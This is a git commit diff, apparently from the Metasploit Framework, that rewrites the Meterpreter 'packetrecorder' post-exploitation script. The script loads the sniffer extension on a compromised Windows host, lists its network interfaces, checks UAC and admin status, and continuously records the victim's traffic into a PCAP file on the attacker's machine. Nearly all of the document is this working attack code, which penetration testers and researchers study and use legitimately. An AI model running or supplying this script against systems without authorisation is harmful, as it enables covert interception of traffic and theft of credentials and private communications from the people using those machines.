Full re-write of packetrecorder script
git-svn-id: file:///home/svn/framework3/trunk@10860 4d416f70-5f16-0410-b530-b9f4589650daunstable
Carlos Perez
parent
c94c95bb04
commit
5d78620a27
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@ -1,60 +1,108 @@
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# $Id$
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# $Revision$
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# Author: Carlos Perez at carlos_perez[at]darkoperator.com
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session = client
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#Get Hostname
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host,port = session.tunnel_peer.split(':')
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# Create Filename info to be appended to downloaded files
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filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
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# Create a directory for the logs
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logs = ::File.join(Msf::Config.log_directory, 'scripts', 'packetrecorder')
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# Create the log directory
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::FileUtils.mkdir_p(logs)
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#logfile name
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logfile = logs + ::File::Separator + host + filenameinfo + ".cap"
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#Interval for collecting Packets in seconds
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packtime = 30
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#Get user
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user = session.sys.config.getuid
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#-------------------------------------------------------------------------------
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################## Variable Declarations ##################
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@@exec_opts = Rex::Parser::Arguments.new(
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"-h" => [ false, "Help menu."],
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@client = client
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# Interval for recording packets
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rec_time = 30
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# Interface ID
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int_id = nil
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# List Interfaces
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list_int = nil
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# Log Folder
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log_dest = nil
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@exec_opts = Rex::Parser::Arguments.new(
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"-h" => [ false, "Help menu."],
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"-t" => [ true, "Time interval in seconds between recollection of packet, default 30 seconds."],
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"-i" => [ true, "Interface ID number where all packet capture will be done."]
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#"-b" => [ false, "Background session after starting the recording of packets."]
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"-i" => [ true, "Interface ID number where all packet capture will be done."],
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"-li" => [ false, "List interfaces that can be used for capture."],
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"-l" => [ true, "Specify and alternate folder to save PCAP file."]
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)
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meter_type = client.platform
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################## Function Declarations ##################
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# Usage Message Function
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#-------------------------------------------------------------------------------
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def usage
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print_line "Meterpreter Script for capturing packets in to a PCAP file"
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print_line "on a target host given a interface ID."
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print_line(@exec_opts.usage)
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raise Rex::Script::Completed
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end
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# Wrong Meterpreter Version Message Function
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#-------------------------------------------------------------------------------
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def wrong_meter_version(meter = meter_type)
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print_error("#{meter} version of Meterpreter is not supported with this Script!")
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raise Rex::Script::Completed
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end
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# Function for creating log folder and returning log pa
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#-------------------------------------------------------------------------------
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def log_file(log_path = nil)
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#Get hostname
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host = @client.sys.config.sysinfo["Computer"]
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# Create Filename info to be appended to downloaded files
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filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
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# Create a directory for the logs
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if log_path
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logs = ::File.join(log_path, 'logs', 'packetrecorder', host + filenameinfo )
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else
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logs = ::File.join(Msf::Config.log_directory, "scripts", 'packetrecorder', host + filenameinfo )
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end
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# Create the log directory
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::FileUtils.mkdir_p(logs)
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#logfile name
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logfile = logs + ::File::Separator + host + filenameinfo + ".cap"
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return logfile
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end
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#Function for Starting Capture
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def startsniff(session,intid)
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#-------------------------------------------------------------------------------
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def startsniff(interface_id)
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begin
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#Load Sniffer module
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session.core.use("sniffer")
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print_status("Starting Packet capture on interface #{intid}")
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@client.core.use("sniffer")
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print_status("Starting Packet capture on interface #{interface_id}")
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#starting packet capture with a buffer size of 200,000 packets
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session.sniffer.capture_start(intid, 200000)
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print_status("Packet capture started")
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@client.sniffer.capture_start(interface_id, 200000)
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print_good("Packet capture started")
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rescue ::Exception => e
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print_status("Error Starting Packet Capture: #{e.class} #{e}")
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raise Rex::Script::Completed
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end
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end
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#Function for Recording captured packets into PCAP file
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def packetrecord(session, packtime, logfile,intid)
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#-------------------------------------------------------------------------------
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def packetrecord(packtime, logfile,intid)
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begin
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rec = 1
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print_status("Packets being saved in to #{logfile}")
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print_status("Packet capture interval is #{packtime} Seconds")
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#Inserting Packets every number of seconds specified
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while rec == 1
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path_cap = logfile
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path_raw = logfile + '.raw'
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fd = ::File.new(path_raw, 'wb+')
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#Flushing Buffers
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res = session.sniffer.capture_dump(intid)
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res = @client.sniffer.capture_dump(intid)
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bytes_all = res[:bytes] || 0
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bytes_got = 0
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bytes_pct = 0
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while (bytes_all > 0)
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res = session.sniffer.capture_dump_read(intid,1024*512)
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res = @client.sniffer.capture_dump_read(intid,1024*512)
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bytes_got += res[:bytes]
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pct = ((bytes_got.to_f / bytes_all.to_f) * 100).to_i
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if(pct > bytes_pct)
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@ -73,7 +121,6 @@ def packetrecord(session, packtime, logfile,intid)
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fd = ::File.new(path_cap, 'wb+')
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fd.write([0xa1b2c3d4, 2, 4, 0, 0, 65536, 1].pack('NnnNNNN'))
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end
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pkts = {}
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od = ::File.new(path_raw, 'rb')
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# TODO: reorder packets based on the ID (only an issue if the buffer wraps)
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@ -88,7 +135,6 @@ def packetrecord(session, packtime, logfile,intid)
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break
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end
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pkt_id = (idh << 32) +idl
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pkt_ts = Rex::Proto::SMB::Utils.time_smb_to_unix(thi,tlo)
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pkt = od.read(len)
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fd.write([pkt_ts,0,len,len].pack('NNNN')+pkt)
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@ -104,76 +150,55 @@ def packetrecord(session, packtime, logfile,intid)
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rescue::Exception => e
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print("\n")
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print_status("#{e.class} #{e}")
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print_status("Stopping Packet sniffer...")
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session.sniffer.capture_stop(intid)
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print_good("Stopping Packet sniffer...")
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@client.sniffer.capture_stop(intid)
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end
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end
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#ion for Checking for UAC
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def checkuac(session)
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uac = false
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begin
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winversion = session.sys.config.sysinfo
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if winversion['OS']=~ /Windows Vista/ or winversion['OS']=~ /Windows 7/
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print_status("Checking if UAC is enabled ...")
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key = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System'
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root_key, base_key = session.sys.registry.splitkey(key)
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value = "EnableLUA"
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open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ)
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v = open_key.query_value(value)
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if v.data == 1
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uac = true
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else
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uac = false
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end
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open_key.close_key(key)
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end
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rescue ::Exception => e
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print_status("Error Checking UAC: #{e.class} #{e}")
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end
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return uac
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end
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def helpmsg
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print(
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"Packet Recorder Meterpreter Script\n" +
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"This script will start the Meterpreter Sniffer and save all packets\n" +
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"in a PCAP file for later analysis. To stop capture hit Ctrl-C\n" +
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"Usage:" +
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@@exec_opts.usage
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)
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# Function for listing interfaces
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# ------------------------------------------------------------------------------
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def int_list()
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@client.core.use("sniffer")
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ifaces = @client.sniffer.interfaces()
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print_line()
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ifaces.each do |i|
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print_line(sprintf("%d - '%s' ( type:%d mtu:%d usable:%s dhcp:%s wifi:%s )",
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i['idx'], i['description'],
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i['type'], i['mtu'], i['usable'], i['dhcp'], i['wireless'])
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)
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end
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print_line()
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raise Rex::Script::Completed
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end
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# Parsing of Options
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helpcall = 0
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intid = 0
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background = 0
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if client.platform =~ /win32|win64/
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@@exec_opts.parse(args) { |opt, idx, val|
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case opt
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when "-t"
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packtime = val
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when "-i"
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intid = val.to_i
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when "-h"
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helpmsg
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helpcall = 1
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end
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}
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if helpcall == 0
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if (user != "NT AUTHORITY\\SYSTEM") && intid != 0
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if not checkuac(session)
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startsniff(session,intid)
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packetrecord(session,packtime,logfile,intid)
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else
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print_line("[-] The Meterpreter process is not running as System and UAC is not enable, Insufficient Privileges to run")
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end
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elsif intid != 0
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startsniff(session,intid)
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packetrecord(session,packtime,logfile,intid)
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else
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helpmsg
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end
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################## Main ##################
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@exec_opts.parse(args) { |opt, idx, val|
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case opt
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when "-h"
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usage
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when "-i"
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int_id = val.to_i
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when "-l"
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log_dest = val
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when "-li"
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int_list
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when "-t"
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rec_time = val
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end
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}
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# Check for Version of Meterpreter
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wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i
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if !int_id.nil?
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if not is_uac_enabled? or is_admin?
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pcap_file = log_file(log_dest)
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startsniff(int_id)
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packetrecord(rec_time,pcap_file,int_id)
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else
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print_error("UAC or Access Denied")
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end
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else
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print_error("This version of Meterpreter is not supported with this Script!")
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raise Rex::Script::Completed
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usage
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end
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